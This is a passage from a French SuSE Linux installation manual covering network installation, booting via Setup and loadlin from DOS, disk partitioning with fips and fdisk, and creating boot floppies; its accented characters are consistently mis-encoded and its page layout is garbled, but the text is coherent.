  3691.                            La  machine  sur  laquelle  SuSE     Linux  doit  Ωtre  installΘ  ne  dispose  pas  de
  3692.                            lecteur de CD-ROM et il n'existe pas non plus de partition DOS utilisable.
  3693.                            En revanche, vous pouvez Θtablir par le rΘseau une connexion avec une autre
  3694.                            machine dotΘe d'un lecteur de CD-ROM ou d'un disque sur lequel le contenu
  3695.                            du CD ~ comme il a ΘtΘ dΘcrit au paragraphe 2.4.1 page 46 ~ pourrait Ωtre
  3696.                            transfΘrΘ. Il est en outre indispensable de copier les fichiers .S.u.S.E-disk*
  3697.                            des CD-ROM sur le disque dur. Sous Linux, par exemple ainsi :
  3698.                                  terre:  #  cp  /cdrom/.S*  /emil
  3699.                                  terre:  #  cp  -a  /cdrom/suse  /emil
  3700.  
  3701. 48
  3702.        ____________________________________________________2.4.__Installation_sans_lecteur_de_CD-ROM_supportΘ______________________*
  3703.  *______________________
  3704.  
  3705.  
  3706.  
  3707. Cette  ``autre''  machine  doit  bien  s√r  ``exporter''  le  rΘpertoire  d'une  maniΦre
  3708. adΘquate !
  3709.  
  3710.  
  3711. Pas α pas : : :
  3712.  
  3713.  1.   Commencez   l'installation   du   client   selon   la   description   du   para-
  3714.       graphe 2.2.2 page 28
  3715.  
  3716.  2.   Poursuivez l'installation comme il est dΘcrit au paragraphe 2.2.3 page 29
  3717.       ~ toutefois :
  3718.  
  3719.       ~   Chargez les `Pilotes  rΘseau' avec `Modules  du  noyau' et choi-
  3720.           sissez celui qui convient. Ceci n'est pas indispensable si vous voulez
  3721.           installer via PLIP.
  3722.  
  3723.       ~   Lorsque  linuxrc  vous  interrogera  au  sujet  du  `Support  source',
  3724.           spΘcifiez `RΘseau  (NFS)' et exΘcutez la configuration rΘseau pilotΘe
  3725.           par menu. Alternativement, vous avez aussi la possibilitΘ d'installer via
  3726.           FTP.
  3727.  
  3728.  3.   Terminez l'installation comme il a ΘtΘ dΘcrit α partir du paragraphe 2.2.4
  3729.       page 33
  3730.  
  3731.  
  3732. ProblΦmes Θventuels
  3733.  
  3734.   ~   L'installation a ΘchouΘ avant d'avoir vΘritablement commencΘ : Le rΘper-
  3735.       toire d'installation de ``l'autre'' machine n'a pas ΘtΘ exportΘ avec les droits
  3736.       exec    ~ faites-le maintenant.
  3737.  
  3738.   ~   Le serveur ne connaεt pas la machine sur laquelle SuSE      Linux doit Ωtre
  3739.       installΘ. Inscrivez, dans le /etc/hosts du serveur, le nom et l'adresse IP
  3740.       de la machine sur laquelle doit se faire la nouvelle installation.
  3741.                                                                                                                                    *
  3742.  *     49
  3743. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  3744.  *_______________________________________@
  3745.  
  3746.  
  3747.  
  3748.                            2.5       Encore une mΘthode d'installation : Setup et loadlin
  3749.  
  3750.                            2.5.1      Mettre Windows 95/98 en mode DOS
  3751.  
  3752.                            Vous devez mettre la machine sous DOS en mode rΘel pour pouvoir lancer le
  3753.                            programme d'installation Setup .
  3754.  
  3755.                            Le programme loadlin , invoquΘ par le programme d'installation Setup.exe ,
  3756.                            est  un  programme  MS-DOS.  Il  ne  peut  charger  en  mΘmoire  et  dΘmarrer  le
  3757.                            noyau Linux pour le +   Linux initial que si le processeur fonctionne soit en
  3758.                            mode rΘel, soit en mode virtuel 8086 avec dans ce cas un serveur VCPI2  actif.
  3759.                            La fenΩtre DOS de Windows 95/98 est bien en mode virtuel 8086, mais elle
  3760.                            ne met pas de serveur VCPI α disposition et de ce fait Setup  ne fonctionne
  3761.                            pas dans la fenΩtre DOS.
  3762.  
  3763.  
  3764.                            Pas α pas : : :
  3765.  
  3766.                            Il  existe  deux  possibilitΘs  :  Passer  de  Windows  95/98  en  mode  DOS  ou  se
  3767.                            diriger vers l'invite d'entrΘe lors de l'amorτage.
  3768.  
  3769.                            Si Windows 95/98 tourne dΘjα, cliquez sur `DΘmarrer' - `ArrΩter  : : : '
  3770.                            - `RedΘmarrer  l'ordinateur  en  mode  MS-DOS'. Puisque vous Ωtes de    ___
  3771.                            toute faτon en train d'amorcer, appuyez au dΘmarrage de Windows 95 sur |___F|8
  3772.                            et sΘlectionnez alors `Seulement  invite  d'entrΘe'.
  3773.  
  3774.  
  3775.                            ProblΦmes Θventuels
  3776.  
  3777.                            Il peut survenir des problΦmes si vous n'avez pas de clavier franτais en mode
  3778.                            MS-DOS et si le pilote de CD-ROM n'est pas chargΘ.
  3779.  
  3780.  
  3781.                              ~   En mode DOS, les accents et les caractΦres spΘciaux ne fonctionnent pas
  3782.                                  (voir paragraphe 2.7.2 page 60)
  3783.  
  3784.                              ~   En mode DOS, vous ne pouvez pas accΘder au lecteur de CD-ROM, voir
  3785.                                  paragraphe 2.7.3 page 60
  3786.  
  3787.  
  3788.                            2.5.2      Lancement de Setup et premiΦre partie de Setup
  3789.  
  3790.                            Le programme Setup.exe  prΘpare le dΘmarrage du +   Linux initial. C'est ce
  3791.                            programme qui est maintenant lancΘ et sera exΘcutΘ jusqu'au moment o∙ il
  3792.                            faudra choisir entre deux mΘthodes de dΘmarrage pour le Linux initial.
  3793.  
  3794.                            Vous  avez  dΘmarrΘ  MS-DOS  ou  une  boεte  MS-DOS  qui  ne  tourne  pas  en
  3795.                            mode protΘgΘ. Vous avez insΘrΘ le premier CD dans le lecteur de CD-ROM et
  3796.                            vous y avez accΦs.
  3797.  
  3798.                            └ l'aide du programme Setup.exe , vous lancerez d'abord dans votre machine
  3799.                            un Linux initial qui rendra possible l'installation proprement dite de Linux.
  3800.                            Lancez maintenant Setup.exe et exΘcutez le programme jusqu'au moment o∙
  3801.                            les deux mΘthodes de dΘmarrage pour le Linux initial se distingueront l'une
  3802.                            de l'autre : disquette d'amorτage ou, avec loadlin , dΘmarrage direct α partir
  3803.                            du CD/disque dur.
  3804.                            _____________________________________________2
  3805.                              emm386.exe, par exemple, met α disposition un serveur VCPI.
  3806.  
  3807.  
  3808. 50
  3809.        ____________________________________________2.5.__Encore_une_mΘthode_d'installation_:_Setup_et_loadlin______________________*
  3810.  *______________________
  3811.  
  3812.  
  3813.  
  3814. Pas α pas : : :
  3815. Vous exΘcutez ainsi la premiΦre partie de Setup :
  3816.  
  3817.  
  3818.  
  3819.  1.   DΘmarrez setup      dans le rΘpertoire de base du CD.
  3820.  
  3821.  2.   SΘlectionnez la langue (`Franτais') dans laquelle les dialogues de Se-
  3822.       tup doivent se dΘrouler.
  3823.  
  3824.  3.   Entrez la lettre de votre lecteur de CD-ROM, par exemple E . La lettre du
  3825.       lecteur  a  Θventuellement  pu  Ωtre  modifiΘe  α  cause  d'une  partition  DOS
  3826.       supplΘmentaire.
  3827.  
  3828.  4.   Setup.exe  vous souhaite maintenant_la_bienvenue et vous rΘpondez α une
  3829.       telle cordialitΘ en appuyant sur |_____-|.
  3830.  
  3831.  5.   Les paragraphes suivants sont consacrΘs au lancement du +  Linux initial.
  3832.       Ce sujet est traitΘ dans une dΘcision (paragraphe 2.5.3) et des phases de
  3833.       travail le concernant.
  3834.  
  3835.  
  3836. 2.5.3      Comment amorcer le Linux initial α partir de setup ?
  3837.  
  3838. Il existe deux mΘthodes qui permettent de lancer le +  Linux initial α partir du
  3839. programme setup  : au moyen de disquettes ou directement α partir du CD α
  3840. l'aide de loadlin . Il s'agit maintenant de choisir l'une de ces deux voies.
  3841.  
  3842.  
  3843.  
  3844. Informations complΘmentaires
  3845.  
  3846. La mΘthode la plus simple et la plus commode consiste bien s√r α lancer le
  3847. Linux initial directement α partir du CD. On utilise α cette fin le programme
  3848. DOS  loadlin.exe .  Il  charge  sous  DOS,  α  partir  du  CD,  un  fichier  du  noyau
  3849. dans la mΘmoire centrale, il prΘpare le chargement du disque RAM et com-
  3850. mence ensuite α exΘcuter le code du noyau. Afin que cela puisse marcher, la
  3851. machine doit tourner en mode rΘel ou en mode virtuel 8086 avec dans ce cas
  3852. un serveur VCPI3  actif. La boεte DOS de OS/2 ou de Windows NT est donc
  3853. ΘliminΘe.
  3854.  
  3855. L'amorτage α partir de disquettes fonctionne toujours mais il est un peu plus
  3856. fastidieux  et  prend  plus  de  temps.  Il  est  α  noter  qu'il  s'agit  des  disquettes
  3857. crΘΘes  avec  setup .  La  solution  la  plus  simple  est  naturellement  l'utilisation
  3858. de la disquette d'amorτage SuSE     (ou l'amorτage directement α partir du CD)
  3859. mais ce n'est pas de cela qu'il est question. Il s'agit ici de prendre la dΘcision
  3860. suivante : gΘnΘrer des disquettes avec setup  ou charger directement le noyau
  3861. au moyen de loadlin .
  3862.  
  3863.  
  3864.  
  3865. Recommandation
  3866.  
  3867. Choisissez la voie loadlin lorsque c'est thΘoriquement possible, c'est-α-dire
  3868. si vous ne travaillez pas sous OS/2 ou sous Windows NT. En cas de doute,
  3869. faites un essai. Si cela ne marche pas, recommencez la procΘdure α partir du
  3870. paragraphe 2.5.2 page prΘcΘdente et choisissez alors la voie disquettes.
  3871.  
  3872. 3      ____________________________________________________
  3873.   emm386.exe met α disposition un serveur VCPI.
  3874.  
  3875.  
  3876.                                                                                                                                    *
  3877.  *     51
  3878. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  3879.  *_______________________________________@
  3880.  
  3881.  
  3882.  
  3883.                            2.5.4      Installer loadlin et lancer le Linux initial
  3884.                            Dans cette phase de travail, vous utiliserez loadlin.exe avec lequel vous pour-
  3885.  
  3886.                            rez charger et dΘmarrer un noyau Linux α partir de DOS et faire tourner votre
  3887.                            +  Linux initial.
  3888.  
  3889.  
  3890.                            Conditions
  3891.  
  3892.                            Si vous Ωtes arrivΘ jusqu'ici et si vous vous sentez prΩt α recevoir la premiΦre
  3893.                            invite de Linux, vous avez rempli toutes les conditions !
  3894.  
  3895.  
  3896.                            Informations complΘmentaires
  3897.  
  3898.                            Setup  crΘe  alors  le  rΘpertoire  \loadlin         sur  votre  partition  DOS.  Il  co-
  3899.                            pie  dans  ce  rΘpertoire  les  programmes  setup.exe        ,  loadlin.exe          ,  les  fi-
  3900.                            chiers  Linux.bat         ainsi  que  le  noyau  sΘlectionnΘ  sous  le  nom  de  zimage     .
  3901.                            Si  vous  voulez  dΘmarrer  ultΘrieurement  Linux  (aprΦs  l'installation),  invo-
  3902.                            quez Linux.bat         (vous devrez toutefois spΘcifier comme paramΦtre la parti-
  3903.                            tion racine (root). Nous reviendrons encore sur ce point au paragraphe 2.10.2
  3904.                            page 77).
  3905.  
  3906.                            └ la fin de cette phase, le noyau sera chargΘ et directement dΘmarrΘ.
  3907.  
  3908.  
  3909.                            Pas α pas : : :
  3910.  
  3911.                            Voici comment vous devez procΘder pour installer loadlin  et lancer ainsi le
  3912.                            +  Linux initial.
  3913.  
  3914.                             1.   SΘlectionnez l'option `loadlin' et appuyez sur |______|-.
  3915.  
  3916.                             2.   Cet Θcran vous montre combien de RAM possΦde votre machine. Cette_
  3917.                                  indication sera normalement correcte et vous validerez avec |_____-|. Au cas
  3918.                                  o∙ la quantitΘ de RAM ne serait pas exacte, corrigez la valeur.
  3919.  
  3920.                             3.   Vous devez maintenant prΘciser si Linux supporte votre lecteur de CD-
  3921.                                  ROM.
  3922.  
  3923.                                  ~   Si Linux supporte votre lecteur de CD-ROM, appuyez sur |______|-et la
  3924.                                      question est rΘglΘe.
  3925.  
  3926.                                  ~   Si  Linux  ne  supporte  pas  votre  lecteur  de  CD-ROM,  il  vous  a  dΘjα
  3927.                                      fallu, au paragraphe 2.4.1 page 46, copier des fichiers sur votre_disque_
  3928.                                      dur. Passez maintenant α l'option `Disque  dur' et appuyez sur |_____-|.
  3929.                                      SpΘcifiez ensuite le chemin dans lequel vous avez copiΘ le rΘpertoire
  3930.                                      suse. Dans l'exemple donnΘ au paragraphe 2.4.1 page 46, nous avons
  3931.                                      utilisΘ \emil      et il faut donc entrer \emil      (le rΘpertoire suse situΘ au
  3932.                                      dessous n'a pas besoin d'Ωtre spΘcifiΘ).
  3933.  
  3934.                             4.   Vous devez maintenant sΘlectionner un noyau adΘquat.
  3935.  
  3936.                             5.   Nous passons dans cette phase aux paramΦtres du noyau. On spΘcifie un
  3937.                                  paramΦtre  par  ligne,  une  ligne  vide  signifie  terminΘ.  Quels  paramΦtres
  3938.                                  peuvent Ωtre envisagΘs ici ?
  3939.                                  Des  explications  dΘtaillΘes  sur  les  paramΦtres  du  noyau  se  trouvent  au
  3940.                                  paragraphe  14.1  page  367.  Vous  trouverez  aussi  au  paragraphe  14.3.2
  3941.                                  page 370 une liste complΦte des paramΦtres du noyau qui ont un r⌠le α
  3942.                                  jouer dans l'installation.
  3943.  
  3944.  
  3945. 52
  3946.        ____________________________________________2.5.__Encore_une_mΘthode_d'installation_:_Setup_et_loadlin______________________*
  3947.  *______________________
  3948.  
  3949.  
  3950.  
  3951.  6.   Le prochain Θcran vous demande si le programme loadlin  doit Ωtre ins-
  3952.       tallΘ. RΘpondez `Oui'. Setup crΘe maintenant le rΘpertoire \loadlin         et
  3953.       y copie les fichiers.
  3954.  
  3955.  7.   Nous lanτons maintenant le +  Linux initial avec l'option `Charger  Li-
  3956.       nux'.  Environ  deux  pages  de  texte  ΘditΘ  par  le  noyau  dΘfilent  plus  ou
  3957.       moins vite sous vos yeux. Si tout a bien marchΘ, linuxrc vous souhaite la
  3958.       bienvenue. Vous pouvez aussi lire les messages du noyau en toute_tran-_         _________
  3959.       quillitΘ_:_en_les_faisant_dΘfiler_dans les deux sens avec |S___________|hift+ *|_________|Page  "
  3960.       et |S___________|hift+ *|_________|Page. #
  3961.  
  3962. Maintenant l'installation est poursuivie comme il est dΘcrit α partir du para-
  3963. graphe 2.2.3 page 29.
  3964.  
  3965.  
  3966. ProblΦmes Θventuels
  3967.  
  3968. Il  peut  survenir  ici  des  problΦmes  α  deux  niveaux  :  il  n'est  pas  possible  α
  3969. loadlin de charger ou de dΘmarrer le noyau, ou le noyau ne s'accommode pas
  3970. de votre matΘriel :
  3971.  
  3972.   ~   loadlin  n'a  pas  suffisamment  de  mΘmoire  disponible  pour  charger  le
  3973.       noyau : voir paragraphe 2.7.9 page 63.
  3974.  
  3975.   ~   loadlin  ne peut pas dΘmarrer le noyau, la machine tourne en mode vir-
  3976.       tuel  8086  mais  il  n'y  a  pas  de  serveur  VCPI  disponible  :  voir  para-
  3977.       graphe 2.7.11 page 63.
  3978.  
  3979.   ~   loadlin ne fonctionne pas : voir paragraphe 2.7.10 page 63.
  3980.  
  3981.   ~   Le CD est dΘfectueux : voir paragraphe 2.7.4 page 60.
  3982.  
  3983.  
  3984.                                                                                                                                    *
  3985.  *     53
  3986. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  3987.  *_______________________________________@
  3988.  
  3989.  
  3990.  
  3991.                            2.6       Blocs Info
  3992.  
  3993.                            2.6.1      Faire de la place pour Linux (partitionner)
  3994.  
  3995.                            Au cours de cette phase, votre disque dur sera prΘparΘ pour recevoir Linux.
  3996.  
  3997.                            Il  est  souhaitable  que  vous  disposiez  d'un  peu  de  temps  pour  approfondir
  3998.                            ce chapitre en toute tranquillitΘ. Il vous est conseillΘ d'avoir des disquettes
  3999.                            ou  des  bandes  pour  une  sauvegarde  ainsi  qu'une  disquette  d'amorτage  du
  4000.                            systΦme d'exploitation que vous aviez jusqu'α prΘsent.
  4001.  
  4002.  
  4003.  
  4004.                            Informations complΘmentaires
  4005.  
  4006.                            Par le partitionnement, un disque dur peut Ωtre divisΘ en plusieurs zones in-
  4007.                            dΘpendantes  les  unes  des  autres.  Une  raison  d'installer  plusieurs  partitions
  4008.                            est  qu'il  est  possible  de  faire  coexister,  sur  un  mΩme  disque  dur,  diffΘrents
  4009.                            systΦmes d'exploitation ayant des systΦmes de fichiers diffΘrents.
  4010.  
  4011.                            Comment faire maintenant de la place pour les partitions Linux ?
  4012.  
  4013.  
  4014.                              ~   Il est possible d'effacer certaines partitions du disque dur, ce qui provoque
  4015.                                  la  perte  de  tous  les  fichiers  qui  se  trouvent  sur  ces  partitions.  La  place
  4016.                                  qui a ΘtΘ faite est maintenant disponible pour de nouvelles partitions (par
  4017.                                  exemple pour Linux) et l'espace libre ainsi obtenu peut Ωtre rΘparti entre
  4018.                                  plusieurs partitions.
  4019.  
  4020.                              ~   Vous pouvez aussi dΘdier certaines partitions α un autre systΦme d'exploi-
  4021.                                  tation. Mais comme par l'effacement, vous perdez aussi dans ce cas tous
  4022.                                  les fichiers de ces partitions.
  4023.  
  4024.                              ~   Sous MS-DOS ou Windows 95, vous pouvez rΘduire la taille de la der-
  4025.                                  niΦre partition du disque dur sans perdre les fichiers qu'elle contient.
  4026.  
  4027.                                  Vous devez d'abord faire en sorte, α l'aide d'un programme de dΘfragmen-
  4028.                                  tation, que tous les fichiers soient vraiment situΘs au dΘbut de la partition.
  4029.                                  Si vous n'avez qu'une seule partition MS-DOS ou Windows, vous pouvez
  4030.                                  de cette maniΦre faire trΦs facilement de la place pour les partitions Linux.
  4031.                                  AprΦs la dΘfragmentation, vous pouvez, avec des programmes spΘciaux ~
  4032.                                  tels que par exemple le programme entiΦrement libre fips ~ abaisser la li-
  4033.                                  mite supΘrieure des cylindres et rΘduire ainsi la taille de la partition. Vous
  4034.                                  trouverez fips sur le CD 1 dans le rΘpertoire dosutils.
  4035.  
  4036.                              ~   Une solution trΦs commode mais co√teuse est de doter votre machine d'un
  4037.                                  disque dur supplΘmentaire.
  4038.                            ________________________________________________________________________________________________________*
  4039.  *________|||
  4040.                            |                                                                                                       *
  4041.  *        |||
  4042.                            |  Toutes  les  modifications  apportΘes  au  partitionnement  doivent  Ωtre  rΘali-                    *
  4043.  *        |||
  4044.                            |  sΘes avec le plus grand soin et en observant les instructions concernant les                         *
  4045.  *        |||
  4046.                            |                                                                                                       *
  4047.  *        |||
  4048.                            |  logiciels utilisΘs. Il peut malgrΘ tout survenir des problΦmes pouvant aller                         *
  4049.  *        |||
  4050.                            |  jusqu'α la perte complΦte des donnΘes ! SuSE      ne peut pas en assumer la                          *
  4051.  *        |||
  4052.                            |                                                                                                       *
  4053.  *        |||
  4054.                            |  responsabilitΘ.  Il  est  en  tout  cas  recommandable  de  sauvegarder  aupara-                     *
  4055.  *        |||
  4056.                            |  vant  au  moins  les  fichiers  les  plus  importants  et  de  tenir  disponible  une                *
  4057.  *        |||
  4058.                            |                                                                                                       *
  4059.  *        |||
  4060.                            |  disquette d'amorτage vΘrifiΘe.                                                                       *
  4061.  *        |||
  4062.                            |_______________________________________________________________________________________________________*
  4063.  *________|||_
  4064.  
  4065.  
  4066. 54
  4067.        _____________________________________________________________________________________________________________2.6.__Blocs_Inf*
  4068.  *o_____________________
  4069.  
  4070.  
  4071.  
  4072. Pas α pas : : :
  4073. Comment procΘder pour partitionner votre disque dur :
  4074.  
  4075.  
  4076.  1.   Si vous ne le savez pas encore, vous devrez vΘrifier combien de partitions
  4077.       possΦde votre disque dur et quelle est leur taille. Invoquez pour ce faire le
  4078.       programme fdisk  de votre systΦme d'exploitation.
  4079.  
  4080.  2.   PrΘvoyez le nombre et la taille des partitions dont vous avez besoin. Vous
  4081.       trouverez  des  informations  α  ce  sujet  au  paragraphe  2.8  page  67  et  au
  4082.       paragraphe 2.9 page 68.
  4083.  
  4084.  3.   Notez par Θcrit votre plan de partitionnement. Vous aurez besoin de ces
  4085.       informations encore trΦs souvent au cours de l'installation.
  4086.  
  4087.  4.   Il est maintenant fortement conseillΘ de faire une sauvegarde du disque
  4088.       dur.  Si  vous  ne  possΘdez  pas  de  lecteur  de  bandes  et  si  vous  ne  voulez
  4089.       pas tout sauvegarder sur des disquettes, sauvegardez au moins vos don-
  4090.       nΘes importantes ainsi que les fichiers de dΘmarrage et de configuration
  4091.       (par exemple config.sys, autoexec.bat et *.ini). GΘnΘrez une dis-
  4092.       quette d'amorτage pour le systΦme d'exploitation que vous aviez jusqu'α
  4093.       prΘsent et faites un essai pour savoir si vous pouvez vous en servir pour
  4094.       amorcer. Sur cette disquette d'amorτage, il vous faut aussi des outils tels
  4095.       qu'un Θditeur, fdisk , le programme de formatage et votre programme de
  4096.       sauvegarde.
  4097.  
  4098.  5.   La procΘdure se poursuit en fonction des caractΘristiques du systΦme :
  4099.  
  4100.       ~   DOS/WINDOWS 95/98, une partition sur le disque dur et pas de
  4101.           sauvegarde complΦte des fichiers (angl. file backup) :
  4102.  
  4103.           Vous  devez  rΘduire  la  taille  de  la  partition  sans  perdre  de  donnΘes.
  4104.           DΘplacez  tous  les  fichiers  vers  le  dΘbut  de  la  partition.  Vous  pouvez
  4105.           utiliser α cette fin par exemple le programme Defrag  (MS-DOS 6 ou
  4106.           Windows 95/98).
  4107.  
  4108.           Les programmes de dΘfragmentation ne dΘplacent pas habituellement
  4109.           les fichiers cachΘs ni les fichiers systΦme car de tels fichiers peuvent
  4110.           avoir ΘtΘ situΘs, par une protection logicielle contre le copie, α un em-
  4111.           placement bien dΘfini du disque dur. Si vous Ωtes s√r que votre disque
  4112.           dur ne contient pas de tels fichiers, vous pouvez dΘsactiver l'attribut
  4113.           cachΘ      ou systΦme        de tous les fichiers concernΘs ou, en fonction du
  4114.           programme  de  dΘfragmentation  utilisΘ,  forcer  la  dΘfragmentation  de
  4115.           tels  fichiers  au  moyen  de  paramΦtres.  Les  plus  rΘcentes  versions  de
  4116.           defrag utilisent l'option /P  .
  4117.  
  4118.           Le fichier d'Θchange de Windows (angl. Windows swap file) est aussi
  4119.           un fichier cachΘ. Si le fichier n'est pas bien placΘ, vous devrez le mettre
  4120.           hors fonction sous Windows dans le ``menu systΦme''.
  4121.  
  4122.           Si  vous  avez  fait  suffisamment  de  place  α  la  fin  de  la  partition,  pas-
  4123.           sez au rΘpertoire \dosutils\fips\fips15                     du premier CD. Vous y
  4124.           trouverez le programme fips.exe  avec lequel vous pourrez rΘduire la
  4125.           taille  de  la  partition.  Dans  ce  mΩme  rΘpertoire,  vous  trouverez  aussi
  4126.           des instructions dΘtaillΘes que vous devriez absolument Θtudier, en rai-
  4127.           son de la complexitΘ du sujet, avant de lancer le programme ! D'autre
  4128.  
  4129.  
  4130.                                                                                                                                    *
  4131.  *     55
  4132. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  4133.  *_______________________________________@
  4134.  
  4135.  
  4136.  
  4137.                                      part, fips.exe ne tourne que sous DOS. Vous devrez donc quitter Win-
  4138.                                      dows ou mettre Windows 95/98 en mode DOS (voir α ce sujet le para-
  4139.                                      graphe 2.5.1 page 50).
  4140.  
  4141.                                      AprΦs  avoir  exΘcutΘ  fips.exe ,  vous  aurez  une  deuxiΦme  partition  sur
  4142.                                      votre disque dur. Elle sera plus tard divisΘe en partitions Linux.
  4143.                            ________________________________________________________________________________________________________*
  4144.  *________
  4145.                            |                                                                                                       *
  4146.  *        |||
  4147.                            |  Avec fips.exe  du rΘpertoire \dosutils\fips\fips20                   , il est possible de            *
  4148.  *        |||
  4149.                            |  rΘduire la taille de partitions fat32     . Mais avant d'utiliser cette version de                   *
  4150.  *        |||
  4151.                            |                                                                                                       *
  4152.  *        |||
  4153.                            |  Fips,  vous  devez  absolument  faire  une  copie  de  sauvegarde  de  vos  don-                     *
  4154.  *        |||
  4155.                            |  nΘes !                                                                                               *
  4156.  *        |||
  4157.                            |_______________________________________________________________________________________________________*
  4158.  *________|||_
  4159.  
  4160.                                  ~   DOS/Windows 95/98 et plusieurs partitions ou, le cas ΘchΘant, sau-
  4161.                                      vegarde complΦte des fichiers (angl. file backup) :
  4162.  
  4163.                                      Vous effacez vos partitions et vous les recrΘez en rΘduisant leur taille.
  4164.                                      Ceci entraεne la perte de toutes les donnΘes de ces partitions. Vous de-
  4165.                                      vrez auparavant sauvegarder tous les fichiers (sauvegarde des fichiers
  4166.                                      et non pas sauvegarde de l'image) ! Avec fdisk , vous effacerez les an-
  4167.                                      ciennes partitions et vous crΘerez la (les) nouvelle(s) partition(s). En-
  4168.                                      suite vous formaterez la (les) partition(s), vous installerez le systΦme
  4169.                                      d'exploitation et vous rΘinstallerez tous les fichiers α partir de la sauve-
  4170.                                      garde ; vous aviez aussi le programme de sauvegarde sur la disquette.
  4171.  
  4172.  
  4173.                             6.   RΘamorcez votre machine.
  4174.  
  4175.                             7.   VΘrifiez maintenant si votre ancien systΦme d'exploitation tourne de nou-
  4176.                                  veau comme il convient. Vous crΘerez plus tard, avec YaST , les partitions
  4177.                                  Linux dans la zone du disque dur mise α disposition.
  4178.  
  4179.  
  4180.                            ProblΦmes Θventuels
  4181.  
  4182.  
  4183.                            Les problΦmes suivants peuvent survenir :
  4184.  
  4185.  
  4186.                              ~   La taille de la partition ne peut pas Ωtre rΘduite suffisamment du fait qu'il
  4187.                                  n'est  pas  possible  de  dΘplacer  certains  fichiers  :  voir  paragraphe  2.7.1
  4188.                                  page 59.
  4189.  
  4190.                              ~   Sous  DOS  ou  sous  Windows,  le  lecteur  de  CD-ROM  a  maintenant  une
  4191.                                  autre lettre de lecteur. Sous Windows 95/98, le poste de travail reste blo-
  4192.                                  quΘe : voir paragraphe 2.7.12 page 64.
  4193.  
  4194.  
  4195.                            2.6.2      Utiliser le CD 2 pour l'amorτage
  4196.  
  4197.  
  4198.                            En plus du CD 1, vous disposez du deuxiΦme CD qui permet aussi d'amorcer.
  4199.                            Il est cependant utilisΘ sur le CD 1 un grande image de boot de 2,88 Mo alors
  4200.                            que le deuxiΦme CD contient une image traditionnelle de 1,44 Mo.
  4201.  
  4202.                            Utilisez le CD 2 dans tous les cas o∙ vous avez la certitude de pouvoir amor-
  4203.                            cer α partir d'un CD bien que le processus d'amorτage ne fonctionne pas α
  4204.                            partir du CD 1 (solution ``fallback''). Tous les BIOS ne reconnaissent malheu-
  4205.                            reusement pas toujours les grandes images de faτon correcte.
  4206.  
  4207.  
  4208.  
  4209. 56
  4210.        _____________________________________________________________________________________________________________2.6.__Blocs_Inf*
  4211.  *o_____________________
  4212.  
  4213.  
  4214.  
  4215. 2.6.3      CrΘer des disquettes d'amorτage
  4216.  
  4217. Conditions
  4218.  
  4219. Vous avez besoin d'une disquette HD de 3,5 pouces formatΘe et d'un lecteur
  4220. de  disquettes  de  3,5  pouces  qui  doit  aussi  permettre  l'amorτage.  Si  vous
  4221. travaillez  sous  Windows  95/98  :  vous  ne  devriez  pas  lancer  setup  dans  la
  4222. boεte MS-DOS mais en mode MS-DOS.
  4223.  
  4224.  
  4225. Informations complΘmentaires
  4226.  
  4227. Le  rΘpertoire  /disks  sur  le  CD  1  contient  quelques  images  de  disquettes.
  4228. Une telle image peut Ωtre copiΘe sur une disquette au moyen de programmes
  4229. auxiliaires appropriΘs. La disquette s'appelle alors disquette d'amorτage.
  4230.  
  4231. Le  ``chargeur''  Syslinux  et  le  programme  linuxrc  sont  Θgalement  sur  ces
  4232. images  de  disquettes.  Syslinux  vous  permet,  pendant  le  processus  d'amor-
  4233. τage, de choisir le noyau que vous dΘsirez et, en cas de besoin, de transmettre
  4234. des paramΦtres pour le matΘriel utilisΘ. ~ Le programme linuxrc vous assiste
  4235. lors du chargement des modules du noyau spΘcialement adaptΘs α votre ma-
  4236. tΘriel et dΘmarre ensuite l'installation.
  4237.  
  4238. Normalement, vous pouvez aussi vous servir de la disquette d'amorτage four-
  4239. nie par SuSE     . Ce n'est que si vous possΘdez un matΘriel exotique qui n'est
  4240. pas supportΘ par le noyau modulaire de cette disquette ou si vous tΘlΘchar-
  4241. gez  une  image  de  disquette  α  partir  d'Internet,  par  exemple  depuis  ftp:
  4242. //ftp.suse.com qu'il vous faudra gΘnΘrer votre propre disquette d'amor-
  4243. τage de la maniΦre dΘcrite ici.
  4244.  
  4245.  
  4246. Avec Setup
  4247.  
  4248.  
  4249. Pas α pas : : :
  4250.  
  4251. ProcΘdez de cette maniΦre pour crΘer un jeu de disquettes :
  4252.  
  4253.  
  4254.  1.   Lancez Setup directement α partir du CD 1.
  4255.  
  4256.  2.   SΘlectionnez l'option_`Floppy' et appuyez sur |______|-; ensuite `Boot' et
  4257.       de nouveau |_____-|.
  4258.  
  4259.  3.   Vous devez maintenant choisir une disquette avec un noyau adΘquat qui
  4260.       supporte  votre  adaptateur  SCSI.  Setup  vous  montre  les  donnΘes  essen-
  4261.       tielles concernant les noyaux. Si vous avez besoin d'autres informations,
  4262.       vous pouvez consulter le fichier \disks\readme.dos                . Retenez le nom
  4263.       de  votre  noyau__car  vous  en  aurez  encore  besoin  par  la  suite.  Appuyez
  4264.       ensuite sur |_____-|.
  4265.  
  4266.  4.   Maintenant la disquette va Ωtre Θcrite. InsΘrez la disquette (formatΘe DOS)
  4267.       dans le lecteur de 3,5 pouces et choisissez la disquette que vous voulez
  4268.       crΘer.
  4269.  
  4270.       ~   Occupez-vous  seulement  de  la  disquette  d'amorτage  (boot)  (avec
  4271.           SuSE     Linux,  `Root' _n'est_ plus  nΘcessaire !)  :  Placez  le  curseur  sur
  4272.           `Boot' et appuyez sur |_____-|.
  4273.  
  4274.  
  4275.                                                                                                                                    *
  4276.  *     57
  4277. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  4278.  *_______________________________________@
  4279.  
  4280.  
  4281.  
  4282.                                  ~   Setup veut_avoir la confirmation qu'une disquette est insΘrΘe. Appuyez
  4283.                                      sur |_____-|. La disquette est Θcrite.
  4284.  
  4285.                                  ~   Lorsque la disquette est prΩte, appuyez sur |______|-.
  4286.  
  4287.                                  ~   SΘlectionnez l'option `PrΩt' pour quitter l'Θcran et Setup .
  4288.  
  4289.  
  4290.                            Avec rawrite
  4291.  
  4292.                            Vous  avez  aussi  l'alternative  d'utiliser  le  programme  DOS  (Θventuellement
  4293.                            plus lent) rawrite.exe  (CD 1, rΘpertoire \dosutils\rawrite                 pour Θcrire la
  4294.                            disquette α l'invite du DOS !
  4295.  
